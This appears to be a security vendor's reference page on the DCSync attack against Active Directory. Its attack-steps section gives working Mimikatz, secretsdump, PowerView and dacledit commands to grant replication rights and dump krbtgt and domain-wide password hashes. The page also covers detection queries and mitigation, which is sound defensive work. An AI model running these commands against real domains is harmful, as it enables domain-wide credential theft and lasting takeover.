1. Resources
  2. Identity Threats
  3. Active Directory

DCSync

Also known as: DCSync attack, Directory replication abuse, DRSUAPI replication attack, lsadump::dcsync, secretsdump -just-dc

An account with the two directory replication rights on the domain root can ask a domain controller for any account's password hashes and Kerberos keys, including krbtgt.

Platform
Active Directory
Impact
Critical
Last updated
Attack difficulty
Low
Detection difficulty
Medium
Privileges required: Tier 0 or tenant admin
Replicating Directory Changes and Replicating Directory Changes All on the domain root, directly or through GenericAll, AllExtendedRights, WriteDacl or ownership of it.
What the attacker gains
NT hashes and Kerberos keys of any account in the domain. With the krbtgt key, forged tickets and lasting control of the domain.
Threat groups
Earth LuscaLAPSUS$Mustang PandaNIMBUS MANTICOREStorm-0501Groups that MITRE ATT&CK records using T1003.006.

How it works

Domain controllers keep their copies of the directory in step through the Directory Replication Service Remote Protocol (MS-DRSR). One DC binds to the DRSUAPI RPC interface of another and calls IDL_DRSGetNCChanges to pull the objects and attributes that changed, including password hashes and Kerberos keys.

DCSync is that same call made by something that is not a domain controller. The DC that receives the request does not check whether the caller is a DC. It checks whether the caller holds replication rights on the root of the naming context:

Control access right Rights GUID Role
DS-Replication-Get-Changes 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 Baseline replication check
DS-Replication-Get-Changes-All 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 Needed for requests that return secret attributes
DS-Replication-Get-Changes-In-Filtered-Set 89e95b76-444d-4c62-991a-0facbeda640c Filtered-set attributes. Not needed for a password dump

If the check passes, the DC returns the requested objects with their secret attributes. The client decrypts them and derives the NT hash, the AES and DES Kerberos keys, password history, and the cleartext password for accounts stored with reversible encryption. No agent, service or file write on the DC is involved: the protocol is a normal Active Directory function, so the access check on the domain root is the only gate.

Several permissions reach that check:

  • A direct grant of both replication rights. Domain Admins, Enterprise Admins, Administrators and the domain controllers have it by default. Synchronization accounts such as the Entra Connect connector account are granted it for password hash synchronization.
  • GenericAll on the domain root. Full control includes every extended right.
  • AllExtendedRights: a control access ACE with no object type covers both replication rights.
  • WriteDacl or ownership of the domain root. These do not pass the replication check by themselves, but the holder can add the replication ACEs for itself. See WriteDacl abuse and the Exchange Windows Permissions path.

The rights can arrive through nested groups and inherited ACEs, and a deny ACE can block them, so effective access is what matters, not a single ACE.

DCSync differs from NTDS.dit extraction, which needs file access to a DC or a backup, and from DCShadow, which registers a rogue DC and pushes changes instead of pulling secrets.

Prerequisites

  • An account that effectively holds DS-Replication-Get-Changes and DS-Replication-Get-Changes-All on the domain root, or one of the paths above that leads to them.
  • A way to authenticate as that account: its password, its NT hash, or a Kerberos ticket.
  • Network access to a writable domain controller: RPC (TCP 135 and the dynamic RPC range) for the replication call. Impacket also connects over SMB (TCP 445).

Nothing has to be misconfigured on the target account. The vulnerable configuration is the delegation itself: a user, a service account or a group that is not a domain controller and can replicate secrets, or can rewrite the DACL of the domain root.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Find who can replicate

Any domain user can read the DACL of the domain root. This lists the direct grants, the broad rights that include them, and the rights that lead to them:

Import-Module ActiveDirectory

$dn = (Get-ADDomain).DistinguishedName
$acl = Get-Acl -Path "AD:\$dn"
$repl = @(
  [guid]'1131f6aa-9c07-11d1-f79f-00c04fc2dcd2',
  [guid]'1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'
)

$acl.Owner
$acl.Access |
  Where-Object {
    $_.ObjectType -in $repl -or
    ($_.ObjectType -eq [guid]::Empty -and "$($_.ActiveDirectoryRights)" -match 'ExtendedRight') -or
    "$($_.ActiveDirectoryRights)" -match 'GenericAll|WriteDacl|WriteOwner'
  } |
  Select-Object IdentityReference, AccessControlType, ActiveDirectoryRights, ObjectType,
                IsInherited, InheritanceFlags, PropagationFlags

dsacls gives the same view, with the owner and audit entries:

dsacls "DC=corp,DC=example,DC=com" /A

Resolve group trustees to their members, including nested groups, and check for deny ACEs before concluding that a principal has the rights.

2. Grant the rights (when the account only controls the DACL)

An account with GenericAll, WriteDacl or ownership of the domain root adds the two replication ACEs for itself. With PowerView:

Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=example,DC=com" `
  -PrincipalIdentity alice -Rights DCSync -Verbose

With Impacket from Linux:

dacledit.py -action write -rights DCSync \
  -principal alice -target-dn "DC=corp,DC=example,DC=com" \
  'corp.example.com/alice:<password>' -dc-ip 192.0.2.10

-rights DCSync writes both DS-Replication-Get-Changes and DS-Replication-Get-Changes-All as object-specific control access ACEs.

3. Replicate one account with Mimikatz

From a Windows session running as the account that holds the rights:

# The krbtgt account: its key signs every ticket in the domain
.\mimikatz.exe "lsadump::dcsync /domain:corp.example.com /dc:DC01.corp.example.com /user:krbtgt" "exit"

# One ordinary account
.\mimikatz.exe "lsadump::dcsync /domain:corp.example.com /dc:DC01.corp.example.com /user:alice" "exit"
Parameter Meaning
/domain: FQDN of the domain. Defaults to the current domain
/dc: FQDN of the domain controller to ask
/user: Account to replicate, as a SAM name or DOMAIN\user
/all Replicate every object in the domain

The output shows the object SID, Hash NTLM, and a Kerberos-Newer-Keys block with the aes256_hmac and aes128_hmac keys. privilege::debug is not needed: debug privilege has nothing to do with replication rights.

4. Replicate with Impacket

secretsdump.py runs from any host that can reach the DC:

# One account, with a password
secretsdump.py -just-dc-user krbtgt 'corp.example.com/alice:<password>@192.0.2.10'

# The same with the account's NT hash instead of the password
secretsdump.py -just-dc-user krbtgt -hashes ':<nthash>' 'corp.example.com/alice@192.0.2.10'

# The same with a Kerberos ticket cache; the target is the DC's host name, not its address
export KRB5CCNAME=alice.ccache
secretsdump.py -just-dc-user krbtgt -k -no-pass -dc-ip 192.0.2.10 'corp.example.com/alice@DC01.corp.example.com'

-hashes takes LMHASH:NTHASH; the leading colon means an empty LM hash. Authentication does not grant anything: the account still needs the replication rights.

5. Dump the whole domain

.\mimikatz.exe "lsadump::dcsync /domain:corp.example.com /dc:DC01.corp.example.com /all" "exit"
# Every account, written to files
secretsdump.py -just-dc 'corp.example.com/alice:<password>@192.0.2.10' -outputfile dcsync

# NT hashes only, which is faster and smaller
secretsdump.py -just-dc-ntlm 'corp.example.com/alice:<password>@192.0.2.10'

# Only the accounts that match an LDAP filter
secretsdump.py -just-dc-ntlm -ldapfilter '(adminCount=1)' 'corp.example.com/alice:<password>@192.0.2.10'

With -outputfile dcsync, Impacket writes dcsync.ntds (NT hashes in user:RID:LM:NT::: format), dcsync.ntds.kerberos (Kerberos keys) and dcsync.ntds.cleartext (only for accounts with reversible encryption). -history, -pwd-last-set and -user-status add detail without narrowing the scope.

Impact

DCSync is credential theft at the scale of the domain. One request returns the keys of one account; a full dump returns the keys of every user, computer, service account and trust.

  • The krbtgt key lets the attacker forge ticket-granting tickets for any user: a Golden Ticket. That access survives password changes of every other account and lasts until krbtgt is reset twice.
  • NT hashes and AES keys of administrators and service accounts can be used directly with pass the hash and overpass the hash. No cracking is needed.
  • Computer account keys allow forged service tickets for those hosts.
  • Password history and cleartext passwords (reversible encryption) expose how people build passwords and support attacks on other systems.

A DCSync of one ordinary user exposes that user. A DCSync of krbtgt, or of the full domain, means the domain can no longer be trusted until its secrets are rotated.

OPSEC and artifacts

What a careful operator does, and what remains on the domain controller either way:

  • One account instead of everything. Replicating only krbtgt or one administrator produces a few replication requests instead of thousands. Each request still passes the access check on the domain root, and with auditing in place each one writes event 4662 with the replication GUID.
  • Using an account that is expected to replicate. Operators prefer a stolen synchronization account or a DC machine account, because those names are on every allow list. The request then comes from a host that is not a domain controller or the synchronization server, which the source address in the logon event shows.
  • Running from a remote host. Nothing executes on the DC, so endpoint tooling on the DC sees no process. The DC still records a network logon, event 4624 type 3, and its TargetLogonId equals the SubjectLogonId of the 4662 events that follow.
  • Granting the rights just before use and removing them after. Both changes are writes to nTSecurityDescriptor on the domain root and produce event 5136 when directory change auditing and a SACL cover them. The grant and its use can be days apart.
  • On the attacker's host: process creation (event 4688 or EDR telemetry) with lsadump::dcsync or secretsdump.py on the command line, the .ntds output files, ticket caches and shell history.

Events 4928 and 4934 record replica links and replicated attributes between domain controllers. A DCSync client is not a DC and sets up no replica link, so these events are not expected from the attack; their absence says nothing.

Detection

The core signal is control access to the replication rights on the domain root by a principal that is not a domain controller. It needs two settings on domain controllers: the Audit Directory Service Access subcategory, and a SACL on the domain root that audits control access. The audit policy guide covers both.

  • Event 4662 with a replication GUID. AccessMask contains 0x100 (control access), Properties contains 1131f6aa-... or 1131f6ad-..., and ObjectName is the domain root. Alert when the subject is not a DC machine account or an approved synchronization account. The DCSync detection rules implement this.
  • Source of the request. Join the 4662 SubjectLogonId to the 4624 TargetLogonId on the same DC to get the client address. Replication from an address that is not a DC or the synchronization server is the strongest indicator, and it also catches a stolen DC or connector account.
  • Volume. A burst of 4662 replication events from one account and source is consistent with a full dump.
  • Changes to the domain root DACL. Event 5136 for nTSecurityDescriptor on the domain root, covered by the DACL modification rules. Compare the old and new descriptor to see the grant.
  • Failed attempts. A failure 4662 for the replication rights from a non-DC account shows someone testing for the right.
// Replication rights used on the domain root by an account that is not a machine account
let DomainRoot = "DC=corp,DC=example,DC=com";
WindowsEvent
| where EventID == 4662 and Provider == "Microsoft-Windows-Security-Auditing"
| extend ObjectName = tostring(EventData.ObjectName),
         Rights = tostring(EventData.Properties),
         Actor = tostring(EventData.SubjectUserName),
         LogonId = tostring(EventData.SubjectLogonId)
| where ObjectName =~ DomainRoot or ObjectName startswith "%{"
| where Rights contains "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"
     or Rights contains "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
| where Actor !endswith "$"
| summarize Requests = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated)
    by Actor, LogonId, Computer
| order by Requests desc

ObjectName can hold the distinguished name or a %{GUID} reference to the object, depending on the event; when it is a GUID, compare it with the objectGUID of the domain root. The name filter on $ hides machine accounts, so pair this query with the source address check to catch a DC account used from the wrong host. Entra Connect password hash synchronization produces the same 4662 pattern from its connector account: allow that account only from the synchronization server.

Mitigation

  1. Review who can replicate on every domain root. Reconcile the two replication GUIDs, GenericAll, AllExtendedRights, WriteDacl, WriteOwner and the owner against a baseline, including inherited ACEs and nested groups. Remove every grant that is not a domain controller or an approved synchronization account.
  2. Treat replication-capable identities as Tier 0. Any account that can replicate secrets is equivalent to a domain controller. Keep such accounts out of workload administration, restrict where they can sign in, and protect the hosts they run on to the same level as a DC. For the Entra Connect connector account, follow the hybrid identity hardening guide.
  3. Close the paths that lead to the rights. WriteDacl on the domain root held by Exchange groups, broad delegations on the domain object and unexpected owners are all one step from DCSync.
  4. Audit and alert. Enable Directory Service Access and Directory Service Changes auditing on all domain controllers, place a SACL on the domain root for control access and for DACL writes, and forward the events.
  5. Reduce the value of a dump. Do not store passwords with reversible encryption, move services to managed service accounts, and keep privileged accounts few. A replicated key is usable as it is, so strong passwords do not protect an account whose hash was replicated.
  6. Be ready to recover. After a confirmed DCSync, remove the grant first, then rotate what was exposed. If krbtgt was in scope, reset it twice as the krbtgt password reset guide describes, waiting longer than the maximum ticket lifetime between the two resets.

Detection rules for this attack

Log events to collect

FAQ

What permissions does DCSync need?

Two extended rights on the root of the domain naming context: DS-Replication-Get-Changes and DS-Replication-Get-Changes-All. Domain Admins, Enterprise Admins, Administrators and domain controllers hold them by default. GenericAll or AllExtendedRights on the domain root include them, and WriteDacl or ownership of the domain root lets an account grant them to itself.

Does DCSync run code on the domain controller?

No. The attacker authenticates over the network, binds to the directory replication RPC interface and calls the same function domain controllers use to replicate from each other. Nothing is installed, no service is created and no file is written on the domain controller.

How do you detect DCSync?

Audit control access on the domain root and watch event 4662 on domain controllers for the replication right GUIDs 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 and 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 requested by an account that is not a domain controller or an approved synchronization account such as the Entra Connect connector.

What should you do after a DCSync attack?

Remove the replication grant and contain the account that used it, then work out which accounts were replicated. If krbtgt or the whole domain was in scope, reset the krbtgt password twice following Microsoft's guidance and rotate every exposed secret. Rotation alone is not enough while the grant still exists.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.